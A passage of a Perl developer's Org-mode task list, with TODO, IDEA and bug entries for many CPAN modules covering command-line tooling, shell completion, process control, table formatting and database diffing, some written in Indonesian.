 table_column_orders keys.\n- log ::\n  + [2015-02-24 Tue] done, table output now respects\n    result_format_options->table_column_orders as well as\n    FORMAT_PRETTY_TABLE_COLUMN_ORDERS as well as result metadata's table.fields.\n** DONE [2015-02-24 Tue] pericmd-lite: support some simple column formatting like in pericmd-classic\n- convert date/time columns containing unix epoch to iso8601 format\n** IDEA [2014-08-27 Wed] servis utk critic automatically aetiap dist yg diupload. Ditrain.\n** BUG [2015-01-07 Wed] pericmd, perisprop-result-table: help about table data is now not displayed\n- try: list-id-holidays -h --verbose\n** TODO [2015-01-07 Wed] pleg: bin/perl-example-die: die with special/control characters (tab, newline, backspace, NUL, etc)\n** TODO [2014-12-19 Jum] pericmd, dfpc: like in pericmd-lite (see commit \@[2014-12-15 ]), aos doesn't need to be rendered with borders\n** TODO [2014-12-19 Jum] ri: add perisprop-validation to use perl code to validate.\nin the POD, add note that this is only when needed. we still encourage 'schema'\nproperty instead.\n** TODO [2014-12-19 Jum] shcompgen: add support for Getopt::Alt, Getopt::complete [#C]\nthese are modules which i don't write. let's see first how many are their\nreverse deps?\n** TODO [2015-01-04 Min] shcompgen: add support for Getopt::Long::Descriptive\nthis module uses Getopt::Long as the backend, so we just need to detect its\nusage and then use Getopt::Long::Dump as usual. example scripts that use\nGetopt::Long::Descriptive: cpan-upload, ...\n** DONE IDEA [2014-08-27 ] perl module: Dist::Zilla::Plugin::PerlStripper\n- log ::\n  + [2015-02-23 Sen] done\n** IDEA [2015-01-07 Wed] perl module: publish some monthly cpan stats as cpan module\n- note ::\n  + masih dalam tema \"cpan as a publishing platform\"\n** IDEA [2015-01-06 Tue] periswrap, ri: args_as => 'scalar+hash' or 'hash+list'\noften we have one scalar main argument (or a list of arguments) but also have\nother arguments as options (though they are optional). examples:\n\n: kill PID1, PID2, ...\n: kill {signal=>'KILL'}, PID1, PID2, ...\n:\n: module_path(\$module)\n: module_path({find_pod=>1}, \$module)\n: module_path(\$module, {find_pod=>1, find_pmc=>1})\n\nthis will make the simple case simpler (e.g. instead of\nmodule_path(module=>\$module) which is to be honest a bit less DRY.\n\nthe main argument(s) must be declared req=>1, pos=>0, (and greedy=>1 for list).\n** IDEA [2014-12-03 Wed] perl module: complete mysql dbs, users, pgsql, ...\n- Complete::MySQL - complete mysql dbs, users, ...\n  - argument inputnya adalah dsn, user, pass (DBI standard)\n** IDEA [2014-12-03 Wed] rsybak: add ability to list local filesystems\n- by default backup all local filesystems, except \"backup filesystem\"\n- deduce/heuristics which is the backup filesystem (e.g. from mount point)\n- of course, the functionality will be delivered in the form of separate module\n  (or use existing module)\n** IDEA [2014-12-03 Wed] rsybak: add ability to detect btrfs/zfs/lvm which can create snapshots, and use it\n** IDEA [2014-12-03 Wed] rsybak: calculate free space and estimate completion time\n- at each run, collect run time and other statistics to be able to estimate\n  future backup times\n** TODO [2014-12-03 Wed] termdetsw: support st (simple terminal), sakura, terminator, roxterm, terminology, dtach+dvtm.\n** IDEA [2014-12-03 Wed] perl module: perl critic policies that suggest new features of perl be used. eg di perl 5.21.6 bs pake: ((undef)x 2, \$a) = somfunc().\n** IDEA [2014-12-03 Wed] pericmd, pericmd-lite, glcomp, glsubc: autocorrect subcommand name, like in git etc ('gitbunch chek' -> 'Did you mean gitbunch check?)\n** IDEA [2014-12-03 Wed] perl module: dzil plugin/cli tool to make it easy to insert func/snippets (inline) to other func/module, to reduce deps. but with this tool its also easy to update. text::fragment.\n** TODO [2014-12-03 Wed] compbash, compbashhist: C version of parse_cmdline n parse_options because they have to be called thousands of time in compbashhist for each tab completion! [#C]\n** IDEA [2014-12-03 Wed] perl module: complete like dabbrev. bash also has it. try to make it if it makes sense? (although, what text for the source of dabbrev? bash history?)\n** IDEA [2014-12-03 Wed] perl module: complete::font\n** IDEA [2014-12-03 Wed] perl module/pod: Complete::Tutorial\n** IDEA [2014-12-03 Wed] perl module: search::autocomplete::random (name?) random autocomplete google search utk dapat insights mis: \"how to\" \"how to let\" \"i want to go\" etc.\n** IDEA [2014-12-03 Wed] compunix: complete pid dan juga program names, exe. nanti kita bs bikin _pkill n _kill n _killall yg bs complete process names.\n** TODO [2015-01-07 Wed] pericmd: refactor: move to a separate module and reuse it with pericmd-lite\n- note ::\n  + need to abstract formatting\n  + need to still be able to call cmdline_help hooks (declared by some\n    perisprop-* modules)\n** TODO [2014-12-03 Wed] pericmd: refactor: move bin/peri-func-usage to another dist\n- since the generating help functionality has been factored out to\n  peris2clidocdata (and the remaining higher-level bits in pericmd &\n  pericmd-lite will also be refactored to another module)\n- perhaps to peri2doc or something\n** IDEA [2014-12-03 Wed] perl module: generate date between two dates or according to a pattern. kykny ada?\n** IDEA [2014-12-03 Wed] perl module: interface calidhol as date::holidays::id\n** TODO [2015-01-05 Sen] compzsh, peris2zshcomp: zsh also supports description on completion entries (like fish), how to show this?\n- putting it in STDOUT, prefixed with tab after each entry, a la fish, does not\n  work. that's if we are using this mechanism:\n\n:  \$func_name() { read -l; local cl=\"\\\$REPLY\"; read -ln; local cp=\"\\\$REPLY\"; reply=(`COMP_SHELL=zsh COMP_LINE=\"\\\$cl\" COMP_POINT=\"\\\$cp\" \$command_name`) }\n:\n:  compctl -K \$func_name \$command_name\n\n- but it might work with other mechanism\n- the way description is added in zsh is via the 'compadd' builtin command\n  (documented in 'zshcompwid' manpage). we need to call 'compadd' in our\n  completion function.\n** IDEA [2014-12-19 Jum] compbash: how to emulate description entries on bash?\n** IDEA [2014-12-19 Jum] perl module: something like top, but for perl stuffs.\n** TODO [2015-01-04 Min] pericli: add options to pass other arguments to new()\n** TODO [2015-01-21 Wed] pericmd: allow setting Progress::Any::Output::TermProgressBarColor option like 'show_delay'\n** IDEA [2014-12-19 Jum] perl module: Acme::IAm::<CPANID> where author introduce himself/herself.\n- sorta like a homepage on cpan.\n- log ::\n  + [2015-01-04 Min] tweeted & blogged.\n** DONE IDEA [2014-12-19 Jum] perl module: App::GenPerinciCmdLineCLI [#C] (basically Dist::Zilla::Plugin::Rinci::ScriptFromFunc, but outside of dzil)\n- blurb: a CLI framework where you don't have to write a CLI :)\n- log ::\n  + [2015-03-22 Sun] done, gen-pericmd-script\n** IDEA [2014-12-19 Jum] create screencast (or live demo?) creating cli app with pericmd from scratch\n** TODO [2014-12-19 Jum] fatten: create default profile for pericmd, pericmd-lite apps (if detected script is using one of those)\n** TODO [2014-12-19 Jum] fatten: option (subcommand?) to test result\nallow specifying args (already there), allow specifying expected result and\nexpected exit code.\n\nnote that we can use lib::core::only for this.\n\noption to fatpack *and* test.\n** TODO [2014-12-19 Jum] review my code and use Sys::Run::Safer    :security:\n** TODO [2015-01-04 Min] procgov: incorporate feature/API of Sys::Run::Safer\n** IDEA [2014-12-19 Jum] perl module: Module::Info - get summary of module from POD's NAME section/#ABSTRACT\n** TODO [2014-12-19 Jum] dsah: testlib.pl: refactor the other spectest routines to use test_sah cases() too\n- UPDATE: not so straightforward because there are lots of per-compiler specific\n  code.\n\n** TODO [2014-12-19 Jum] compzsh: write perl version for https://github.com/RobSis/zsh-completion-generator\n** TODO [2014-12-19 Jum] chart: option to avoid using unicode chars on vc and use multiple height instead for sparkline.\n** TODO [2014-12-19 Jum] chart: option to support streaming data. like histo.\n** TODO [2014-01-28 Tue] orgtovcf: type TEL ('TEL;1=mobile:+62...') masih belum bisa diimpor oleh android\nyang diterima harusnya adalah `TEL;type=mobile;+62...` atau `TEL;mobile:+62...`.\n** IDEA [2014-03-14 Fri] procgov: allow specifying timestamp etc to stderr/stdout log? [#C]\n** TODO [2014-03-14 Fri] third-party-smoker: record success/failure in database\n** TODO [2014-03-14 Fri] third-party-smoker: report parse error (error 543-300=exit 243) immediately\n** TODO [2014-03-14 Fri] third-party-smoker: report other error after 5 consecutive failures\n** TODO [2014-03-14 Fri] third-party-smoker: sekalian jadi data collector\n- mengumpulkan data kurs dll untuk gudangapi, dsb. jika ada gagal parsing,\n  sekalian lapor.\n** TODO [2015-01-04 Sun] gb: turn on logging if ipcsysopts gets logging feature\n** TODO [2015-01-04 Sun] switch from la4builtins to ipcsysopts after ipcsysopts gets logging feature\n** WISHLIST [2015-01-04 Sun] ipcsysopts: option to overload backtick operator (when perl provides the mechanism)\n- currently backtick operator is not overloadable.\n** TODO [2015-01-03 Sat] xfix: finish first version\n- {remove,show} common {prefix,suffix}\n** TODO [2015-01-03 Sat] webdet: Make heuristics even better!\n** TODO [2015-01-03 Sat] webdet: More links/description to each HASHREF key.\n** TODO [2015-01-03 Sat] webdet: Never enough tests.\n** TODO [2015-01-03 Sat] twutil: Split wrap() to another dist\nSo C<Unicode::GCString> is not pulled if not needed.\n** TODO [2015-01-03 Sat] sprintfn: Some sort of caching\n** TODO [2015-01-03 Sat] tchart: More chart types\n** TODO [2015-01-03 Sat] tchart: Colors\n** TODO [2015-01-03 Sat] tchart: Resampling\nReduce data points, for example I have 1000 numbers that I want to display in a\n80-column chart or sparkline.\n** TODO [2015-01-03 Sat] tchart: Formatting of data (or label)\nUsing L<Data::Unixish> (like in L<Text::ANSITable>), and specifiable from an\nenvironment variable.\n** TODO [2015-01-03 Sat] tautil: ta_split(\$re, \$text)\n** TODO [2015-01-03 Sat] tautil: ta_match(\$re, \$text)\nRegex search.\n** TODO [2015-01-03 Sat] tautil: ta_replace(\$re, \$str, \$text) (and ta_replace_all)\nRegex substitution.\n** TODO [2015-01-03 Sat] ansitable: Most color themes still look crappy on 256 colors (I develop on Konsole).\n** TODO [2015-01-03 Sat] ansitable: Attributes: cell_wrap? (a shorter/nicer version for formats => [[wrap => {ansi=>1, mb=>1}]]).\n** TODO [2015-01-03 Sat] ansitable: Column styles: show_{left,right}_border (shorter name? {l,r}border?)\n** TODO [2015-01-03 Sat] ansitable: Row styles: show_{top,bottom}_border (shorter name? {t,b}border?)\n** TODO [2015-01-03 Sat] ansitable: row span? column span?\n** TODO [2015-01-03 Sat] testri: Add option -l (like prove)?\n** TODO [2015-01-03 Sat] termdetsw: Better detection of terminal emulator's background color\nBy peeking into its configuration.\n** TODO [2015-01-03 Sat] synh-any: Option to select preferred (or change choosing order of) backends\n** TODO [2015-01-03 Sat] synh-any: Option: color theme\n** TODO [2015-01-03 Sat] synh-any: Function to detect/list available backends\n** TODO [2015-01-03 Sat] strwc-bash: Function to parse string and return all the wildcards (with their types, positions, ...)\napply also to other strwc-* dists.\n** TODO [2015-01-03 Sat] strwc-bash: Function to strip wildcards from string.\napply also to other strwc-* dists.\n** TODO [2015-01-03 Sat] strwc-bash: Function to convert to other types of wildcards (and/or to check whether it can be represented with other types of wildcards).\napply also to other strwc-* dists.\n** TODO [2015-01-03 Sat] strwc-bash: Function to convert a regex pattern to equivalent wildcard?\napply also to other strwc-* dists.\n** TODO [2015-01-03 Sat] strwc-sql: Support other variants.\nTransact-SQL supports character class, though I'm not sure how the escaping\nmechanism works. Access supports DOS-style wildcard (C<*> and C<?>) instead, and\nI'm also not sure whether there's something akin to backslash escape mechanism\nthere.\n** TODO [2015-01-03 Sat] strindent: Option 'first_line_indent'.\n** TODO [2015-01-03 Sat] strindent: 'dedent' function.\n** TODO [2015-01-03 Sat] strindent: Option to trim blank lines.\n** TODO [2015-01-03 Sat] sqlschema: Configurable meta table name?\n** TODO [2015-01-03 Sat] sqlschema: Reversion/downgrade?\nSomething which does not come up often yet in my case.\n** TODO [2015-01-03 Sat] progany-tpc: Background updating (through threads or forked process)\nSo progress can still be updated even though the main process is waiting on I/O\nor external process. But we need to think of a good way to synchronize output.\n** TODO [2015-01-03 Sat] progany-tpc: Animations\nAnimations, like rotating line (C<- / | \\ ->) or pulsating (C<. o O o .>). Also\nanimation by varying colors.\n** TODO [2015-01-03 Sat] progany-tpc: Detect connection speed and degrade to lower-frequency updating if connection is slow.\n** TODO [2015-01-03 Sat] progany-tpc: Styles\nPreset formats as well as some behaviors like animation.\n** TODO [2015-01-03 Sat] progany-tpc: Detection of column change.\nOn each update(), retrieve terminal width again.\n** TODO [2015-01-03 Sat] procgov: Govern multiple processes instead of just one\nIt's only natural that we expand to this, to reduce the number of monitor\nprocess.\n\nWe want to be able to set options for all processes or on a per-process basis.\nFor example: when load watching, all processes can be stopped and resumed using\nthe same high/load criteria, but some processes might want to have a different\ncriteria. The same goes with timeout.\n\nSome options are for a per-process, e.g. capturing stderr.\n\nIf we support multiple commands, e.g. C<< commands => ['cmd1', ['cmd2', 'arg']]\n>> then we'll also need to return exit codes for each command, e.g. C<< [0, 124]\n>>.\n\nWe should exit only after all child processes terminate. But when a child exits,\na hook can be defined e.g. C<on_child_exit>.\n** TODO [2015-01-03 Sat] procgov: Allow specifying time point (instead of duration) for timeout?\nFor example, we might want to say \"this command should not run past midnight\".\n\nIn general, we might also want to allow specifying a coderef for flexible\ntimeout criteria?\n** TODO [2015-01-03 Sat] procgov: Print messages when stopping/resuming due to load control\nLike B<loadwatch> does:\n:  Fri Mar 14 16:17:52 2014: load too high, stopping.\n:  Fri Mar 14 16:18:52 2014: load low, continuing.\n** TODO [2015-01-03 Sat] procgov: Option to not use File::Write::Rotate for logging STDOUT/STDERR\nIf command is output-heavy, FWR will become a significant overhead. Unless FWR\nhas the option of skipping logging (I'm contemplating on this) ...\n** TODO [2015-01-03 Sat] procfind: Option to sort result.\n** TODO [2015-01-03 Sat] procfind: Search by PPID.\n** TODO [2015-01-03 Sat] procfind: Search by GID (what about additional/extra groups?).\n** TODO [2015-01-03 Sat] procfind: Search by priority.\n** TODO [2015-01-03 Sat] procfind: Search by start time.\n** TODO [2015-01-03 Sat] procfind: Search by memory size.\n** TODO [2015-01-03 Sat] procfind: Search by controlling terminal.\n** TODO [2015-01-03 Sat] procfind: Search all descendants of a process.\n** TODO [2015-01-03 Sat] procfind: Search all parent processes of a process\nThus subsuming the functionality of and rendering L<SHARYANTO::Proc::Util>\nunnecessary.\n** TODO [2015-01-03 Sat] procfind: Write CLI utility C<pfind>, similar to C<pgrep>.\n- Just as a proof-of-concept.\n- Like C<pgrep>, Can also send signal in addition to listing processes.\n** TODO [2015-01-03 Sat] phplive-rpt: Add operator reports\navg_simul_chats\n** TODO [2015-01-03 Sat] phplive-rpt: Add department reports\n** TODO [2015-01-03 Sat] phplive-rpt: Add report: monthly number of chats against hour of day\nWith bar chart.\n** TODO [2015-01-03 Sat] phplive-rpt: Add report: number of chats against day of week\nWith bar chart.\n** TODO [2015-01-03 Sat] plstrip: Option to mangle subroutine names\nWith exclude and mangling options (dictionary, name mangler sub).\n** TODO [2015-01-03 Sat] plstrip: Option to mangle name of lexical variables\nWith exclude and mangling options (dictionary, name mangler sub).\n** TODO [2015-01-03 Sat] plstrip: Option to mangle name of global variables\nWith exclude and mangling options (dictionary, name mangler sub). And exclude\nPerl's predefined variables like C<\@ARGV>, C<%ENV>, and so on.\n** TODO [2015-01-03 Sat] plstrip: Option to mangle labels\n** TODO [2015-01-03 Sat] plstrip: Option to remove comments and whitespace in /x regexes\n** TODO [2015-01-03 Sat] plstrip: Option to remove certain code blocks\nLike:\n:  if (\$DEBUG) { ... }\n:  if (\$PRODUCTION) { ... }\n:  assert(...)\n** TODO [2015-01-03 Sat] periga-ary: refactor: remove code duplication\nI am not particularly happy with the duplication of functionality between this\nand the 'args_as' handler in L<Perinci::Sub::Wrapper>. But the later is a code\nto generate code, so I guess it's not so bad for now.\n** TODO [2015-01-03 Sat] perisubutil: remove caller()\nL<Perinci::Sub::Wrapper> will generate wrapper that modifies caller() for the\nwrapped subroutine (like in L<Hook::LexWrap>), so this module's caller() will\nnot be needed in the future.\n** TODO [2015-01-03 Sat] peri2doc: peri-doc: Support more pod2html options\n** TODO [2015-01-03 Sat] periga-argv: Option to enable json/yaml for nullable simple scalar (to enable C<--str-json '~'>).\n** IDEA [2015-01-03 Sat] perisgen-fromclass: Translate C<isa> option in C<has> into argument schema.\n** IDEA [2015-01-03 Sat] periimp: Support combining tags?\n:  use Perinci::Import 'Some::Module', qw(not(:tag1));\n:  use Perinci::Import 'Some::Module', qw(and(:tag1,:tag2));\n:  use Perinci::Import 'Some::Module', qw(or(:tag1,and(:tag2,:tag3)));\nsee also equivalent todo in periexp.\n** IDEA [2015-01-03 Sat] periimp: Export non-functions (variables, etc).\nsee also equivalent todo in periexp.\n** IDEA [2015-01-03 Sat] periexp: Support combining tags?\n:  use YourModule qw(not(:tag1));\n:  use YourModule qw(and(:tag1,:tag2));\n:  use YourModule qw(or(:tag1,and(:tag2,:tag3)));\nsee also equivalent todo in periimp.\n** TODO [2015-01-03 Sat] periexp: Export variables, etc.\nsee also equivalent todo in periimp.\n** TODO [2015-01-03 Sat] perisgen-acctbl-dbi: Generate table_spec from database schema, if unspecified\n** TODO [2015-01-03 Sat] perica-argv: Option to use/prefer cmdline_aliases.\n** TODO [2015-01-03 Sat] perieg: Example for argument submetadata and element submetadata.\n** TODO [2015-01-03 Sat] perieg: Example for C<stream> property.\n** TODO [2015-01-03 Sat] perieg: Example for C<partial> property.\n** TODO [2015-01-03 Sat] perias-dbi: Support other types of entities: variables, ...\nCurrently only packages and functions are recognized.\n** TODO [2015-01-03 Sat] perias-dbi: Option to get code from database?\n** TODO [2015-01-03 Sat] perias-dbi: Make into a role?\nSo users can mix and match either one or more of these as they see fit: getting\nlist of packages and functions from database, getting metadata from database,\nand getting code from database.\n\nAlternatively, this single class can provide all of those and switch to enable\neach.\n** TODO [2015-01-03 Sat] periahs: peri-htserve: Pass more Plackup options.\n** TODO [2015-01-03 Sat] periahs: peri-htserve: Pass more PSGI server options.\n** TODO [2015-01-03 Sat] orgtovcf: parse ADR node (and others)\nThis is an early release. An important node, addresses (ADR), not parsed yet\nbecause my use case is currently for phone's phonebook.\n\nOther unimplemented nodes are listed in the source code.\n** TODO [2015-01-03 Sat] phoneid: parse area code from first digits of mobile phone after operator code\n# TODO: mobile area code, telkomsel (and indosat etc too?)\n#10-14 Jabotabek\n#15-32 Jabar\n#33-38 Jateng\n#39-43 Jatim\n#44-47 BaliNusra\n#48-59 Kalimantan\n#60-68 Sumbagut (Sumatera Bagian Utara)\n#69-74 Sumbagteng (Sumatera Bagian Tengah)\n#75-86 Sumbagsel (Sumatera Bagian Selatan)\n#87-96 Sulawesi\n#97-99 Papua Maluku\n** TODO [2015-01-03 Sat] phoneid: cleanup data (especially city names -> city code)\n** TODO [2015-01-03 Sat] phoneid: move data to gudangdata project after cleanup\n** TODO [2015-01-03 Sat] marpax-simple: Allow customizing error message/behavior.\n** TODO [2015-01-03 Sat] marpax-simple: Support more grammar (L<Marpa::R2::Scanless::G>) options\ne.g.: C<trace_file_handle>.\n** TODO [2015-01-03 Sat] marpax-simple: Support more recognizer (L<Marpa::R2::Scanless::R>) options\ne.g.: C<max_parses>, C<trace_file_handle>.\n** TODO [2015-01-03 Sat] ldawl: max_total_len\n** TODO [2015-01-03 Sat] ldawl: max_age\n** TODO [2015-01-03 Sat] ioprompt-i18n: Option to stty off (e.g. when prompting password).\n** TODO [2015-01-03 Sat] ioprompt-i18n: Validation using coderef\nProbably with a C<validation> key which can be regex or coderef, and then\ndeprecate C<regex>).\n** TODO [2015-01-03 Sat] ioprompt-i18n: Timeout, like L<Prompt::Timeout>.\n** TODO [2015-01-03 Sat] iod: Merge modes\nEither with a new directive (e.g. C<!mode_merge>) or using an option to\nC<!merge>, e.g. C<!merge -mode + SECTNAME>.\n** TODO [2015-01-03 Sat] iod: Directive to add prefix to section name\nExample:\n:  [foo]\n:  key=val\n:  ;!section_prefix=pre.\n:  [bar]\n:  key=val\n:  [baz]\n:  key=val\nThen the resulting data would be (in pseudo-JSON):\n:  {\n:    \"foo\"    : {\"key\":\"val\"},\n:    \"pre.bar\": {\"key\":\"val\"},\n:    \"pre.baz\": {\"key\":\"val\"},\n:  }\n** TODO [2015-01-03 Sat] iod: Encoding for section names\nSo section name can contain, e.g., C<]> or untrimmed whitespaces.\n** TODO [2015-01-03 Sat] iod: Encoding for key names\nSample syntax:\n: !base64 Zm9vIGJhcg== = baz ; equals to: foo bar=baz\nTo ease parsing the C<=> sign, only C<!base64> is allowed and it must be\nseparated with a space to avoid ambiguity.\n** TODO [2015-01-03 Sat] http-tiny-cli: Support various C<SSL_options> in the attributes.\n** TODO [2015-01-03 Sat] http-tiny-cli: Support request options: trailer_callback, data_callback?\n** TODO [2015-01-03 Sat] http-tiny-cli: Win32 support.\n** TODO [2015-01-03 Sat] http-tiny-cli: Implement max_size.\n** TODO [2015-01-03 Sat] gb: Handle bare source repos (currently can't)\n** TODO [2015-01-03 Sat] gb: Sync-ing to bare repos (e.g. with --backup) still produces error messages\nAlthough the sync process succeeds, the error messages (like C<< fatal: Not a\ngit repository >>) might be confusing.\n** TODO [2015-01-03 Sat] glsubc: Hooks\nHooks (when there is missing subcommand, when Getopt::Long::GetOptions fails,\n...).\n** TODO [2015-01-03 Sat] glsubc: Autohelp.\nWith summaries already in the spec, it's easy to generate useful help\nmessage.\n** DONE [2015-01-03 Sat] glsubc: Summary for each option\ne.g. perhaps C<< options => { 'opt1=s' => {summary=>'...', getopt=>\\\$foo}} >>\ninstead of just C<< options => { 'opt1=s' => \\\$foo } >>. That is, we give a\nhashref for each option.\n- log ::\n  + [2015-02-11 Wed] done\n** TODO [2015-01-03 Sat] glsubc: autoversion.\n** TODO [2015-01-03 Sat] glsubc: Suggest correction for misspelled subcommand ('Did you mean foo?').\n** TODO [2015-01-03 Sat] games-wordtransform: Level of difficulty (affects min_len, max_len, min_steps, max_steps)\n** TODO [2015-01-03 Sat] games-wordtransform: Write statistics file\n** TODO [2015-01-03 Sat] games-wordtransform: Colors\n** TODO [2015-01-03 Sat] games-wordtransform: Add timeout for each step\n** TODO [2015-01-03 Sat] games-wordguess: Write statistics file\n** TODO [2015-01-03 Sat] games-wordguess: Colors\n** TODO [2015-01-03 Sat] games-wordguess: Add timeout for each guess\n** TODO [2015-01-03 Sat] games-hangman: Record and save high scores\n** TODO [2015-01-03 Sat] games-hangman: Add some animation\n** TODO [2015-01-03 Sat] games-arrnum: Record and save high scores\n** TODO [2015-01-03 Sat] games-arrnum: Save unfinished game\n** TODO [2015-01-03 Sat] games-arrnum: Add some animation when moving tiles\n** IDEA [2015-01-03 Sat] curx-bca: Parse last update time\n** DONE IDEA [2015-01-03 Sat] fwr: Perhaps an option to disable locking?\n- log ::\n  + [2015-01-22 Thu] done by JGRennison\n** TODO [2015-01-03 Sat] rsybak: Allow ionice etc instead of just nice -n19\n** IDEA [2015-01-03 Sat] rsybak: Run with govprov --load-watch?\nThis is quite dangerous because if the system is rather high (almost) all the\ntime, then backup will never got done because it keeps stopping itself.\n** TODO [2015-01-03 Sat] dzp-shcompgen-initoninst: conditional run\nCurrently runs init() and generate() unconditionally. It's better if we only run\ninit() if shell init script doesn't exist or produced by an older version.\n** TODO [2015-01-03 Sat] dzp-ri-wrap: Use L<PPI> instead of fragile regex.\n** TODO [2015-01-03 Sat] dzp-ri-wrap: Option to reuse validation code for the same schema.\n** TODO [2015-01-03 Sat] dzp-ri-wrap: Option to exclude some subroutines from being wrapped.\n** TODO [2015-01-03 Sat] dzp-ri-wrap: Option to specify different wrap_args for different subroutines.\n** TODO [2015-01-03 Sat] dzp-ri-validate: Support argument's submetadata and argument element's submetadata\n** TODO [2015-01-03 Sat] dzp-ri-validate: Use L<PPI> instead of fragile regex.\n** TODO [2015-01-03 Sat] dzp-ri-validate: Option to not compress validator code to a single line.\n** TODO [2015-01-03 Sat] dzp-ri-validate: Option to configure variable name to store validation (C<\$arg_err>).\n** TODO [2015-01-03 Sat] dzp-ri-validate: Option to reuse code for the same schema.\n** TODO [2015-01-03 Sat] dzp-ri-sffunc: logging\nIn Synopsis, add an example on how to enable debugging/tracing.\n** TODO [2015-01-03 Sat] dzp-ri-sffunc: completion\nIf C<completion=1>, add instruction on how to enable bash completion in\nSynopsis.\n** TODO [2015-01-03 Sat] dzp-ri-sffunc: link to corresponding module\nLink to corresponding Perl module in See Also (the Version POD section already\nmentions the dist name though).\n** TODO [2015-01-03 Sat] dzp-ri-sffunc: customize See Also\nAllow specifying links\n** TODO [2015-01-03 Sat] dzp-ri-sffunc: fatpacker-friendly\nAdd 'use MODULE' (if function URL points to local module) so dependencies can be\ndetected more easily (more fatpacker-friendly).\n** TODO [2015-01-03 Sat] endstats: Stat: system/user time.\n** TODO [2015-01-03 Sat] endstats: Stat: number of open files (sockets).\n** TODO [2015-01-03 Sat] endstats: Stat: number of child processes.\n** TODO [2015-01-03 Sat] endstats: Stat: number of actual code lines (vs blanks, data, comment, POD)\n** TODO [2015-01-03 Sat] endstats: Stat: number of XS vs PP modules.\n** TODO [2015-01-03 Sat] endstats: Remember last run's stats, compare with current run.\n** TODO [2015-01-03 Sat] deskdet: Window manager information\n** TODO [2015-01-03 Sat] deskdet: Detect Windows?\n** TODO [2015-01-03 Sat] deskdet: XFCE: version\n** TODO [2015-01-03 Sat] deskdet: Detect MATE\n** TODO [2015-01-03 Sat] deskdet: Detect Unity\n** TODO [2015-01-03 Sat] deskdet: Detect JWM\n** TODO [2015-01-03 Sat] dbix-funcapi: Option to select specific catalog and schema (table namespace).\n** TODO [2015-01-03 Sat] dbix-funcapi: implement more functions\n# TODO: delete_row, delete_rows\n# TODO: delete_table, delete_tables\n# TODO: create_row, create_table\n# TODO: modify_row, modify_table\n# TODO: rename_column, rename_table\n# TODO: get_table_schema\n# TODO: get_db_schema\n** TODO [2015-01-03 Sat] dbix-diffs: Support more extensive column diff-ing\nBeside just type name, nullable, and octet length/decimal digits.\n** TODO [2015-01-03 Sat] dbix-diffs: Options to compare column ordinal position?\n** TODO [2015-01-03 Sat] dbix-diffs: Support views\n** TODO [2015-01-03 Sat] dbix-diffs: Compare indices\n** TODO [2015-01-03 Sat] dtformat-id: Recognize more forms\nTry to guess whether 01/02/99 is d/m/y or m/d/y (check if the other one is\nimpossible; default to d/m/y but if sees lots of other m/d/y then m/d/y).\n: mmm-dd-yy[yy]\n** TODO [2015-01-03 Sat] dtformat-id: Autocorrect typo [#C]\n** TODO [2015-01-03 Sat] dtformat-id: Formatter [#B]\n** TODO [2015-01-03 Sat] dtformat-id: Recognize/parse/ignore day of week names\n** TODO [2015-01-03 Sat] dux: randstr: More choices in character sets: full ASCII, Unicode, etc.\n** TODO [2015-01-03 Sat] dux: randstr: Allow users to specify their own charset.\n** TODO [2015-01-03 Sat] dsah-terse: Provide more options, e.g. allow showing some clauses (.e.g \"int>10\").\n** TODO [2015-01-03 Sat] dsah-terse: Show hash as \"hash[str=>array]\" or just \"hash[array]\"?\nConsider that we will allow subschemas in the future, e.g.\n\"hash[filename=>filespec]\".\n** TODO [2015-01-03 Sat] dsah-terse: Handle '!of' (of.op=not), 'of&' (of.op=and), 'of!' (of.op=or).\n** TODO [2015-01-03 Sat] dsah: perl compiler: Replace smartmatch because of its inconsistent behavior\nC<<\$data ~~ [\"x\", 1]>> will do string comparison, while C<<\$data ~~ [1, \"x\"]>>\nor even C<<\$data ~~ [\"1\", \"x\"]>> will do a numeric comparison.\n** TODO [2015-01-03 Sat] dfpc: When displaying list in columns, option to fill column-wise instead of row-wise\nThis is like 'ls -x' (our default) vs 'ls'.\n\nProbably set via C<list_fill_by_columns> option.\n** TODO [2015-01-03 Sat] ciodr: Add attribute: C<allow_dupe_section> (default: 1).\nAdd attribute to set behaviour when encountering duplicate key name? Default is\ncreate array, but we can also croak, replace, ignore.\n** TODO [2015-01-03 Sat] ciod: Option to only allow include if owner is the same.\n** TODO [2015-01-03 Sat] comppath: recursive matching\n**/Util to match: List/Util, CHI/Util, Class/Factory/Util, and so on\n** TODO [2015-01-03 Sat] compman: read/parse index.db?\n** TODO [2015-01-03 Sat] compgl: Handle redirection syntax\nWhen command-line is 'foo 1 2 </some/path' bash will supply COMP_WORDS as (foo 1\n2 < /some/path). We currently do not yet specifically handle this.\n** IDEA [2015-01-03 Sat] compdist: \$OPT_SHORTCUT_PREFIXES like in Complete::Module?\n** TODO [2015-01-03 Sat] compbashhist: Option to search only for the last N hours/days of history (using timestamp in bash history).\n** TODO [2015-01-03 Sat] compbashhist: Find recent subcommands? e.g. git {status,log,commit}\n** TODO [2015-01-03 Sat] compbashhist: Parse complex bash commands\nE.g. CMD1 && CMD2, ( CMD; CMD2; ...), and so on\n\nThis should perhaps be extracted to a separate module, e.g. Bash::Parse or\nwhatever.\n** IDEA [2015-01-03 Sat] compbash: format_completion(): Accept regex for path_sep?\n- currently there is no real need for this though.\n** IDEA [2015-01-03 Sat] COMPLETE_OPT_MAX_RESULT?\n** TODO [2015-01-03 Sat] colrgbutil: Support mixing several colors in mix_rgb_colors().\nArgs might be \$rgb1, \$rgb2, ... or \$rgb1, \$part1, \$rgb2, \$part2, ... (e.g.\n'ffffff', 1, 'ff0000', 1, '00ff00', 2).\n** TODO [2015-01-03 Sat] cautil: Routine to convert ANSI escape code, e.g. C<\\e[31;1m> into RGB value (ff0000).\n** TODO [2015-01-03 Sat] wordlist: In -l --detail, show summary (extract from POD Name or # ABSTRACT).\n** TODO [2015-01-03 Sat] wordlist: Option --random (plus -n) to generate (or n) random word(s).\n** TODO [2015-01-03 Sat] wordlist: Option -v (--invert-match) like grep.\n** TODO [2015-01-03 Sat] wordlist: Implement -n (max result).\n** TODO [2015-01-03 Sat] uniqfiles: Handle symlinks\nProvide options on how to handle symlinks: ignore them? Follow? Also, with\nreturn_duplicate=2, we should not use the symlink (because one of the usage of\nuniq-files might be to delete duplicate files).\n** TODO [2015-01-03 Sat] uniqfiles: Handle special files (socket, pipe, device)\nignore them.\n** TODO [2015-01-03 Sat] uniqfiles: Check hardlinks/inodes first\nFor fast checking.\n** TODO [2015-01-03 Sat] uniqfiles: Add arguments hash_skip_bytes & hash_bytes\nFor only checking uniqueness against parts of contents.\n** TODO [2015-01-03 Sat] uniqfiles: Add 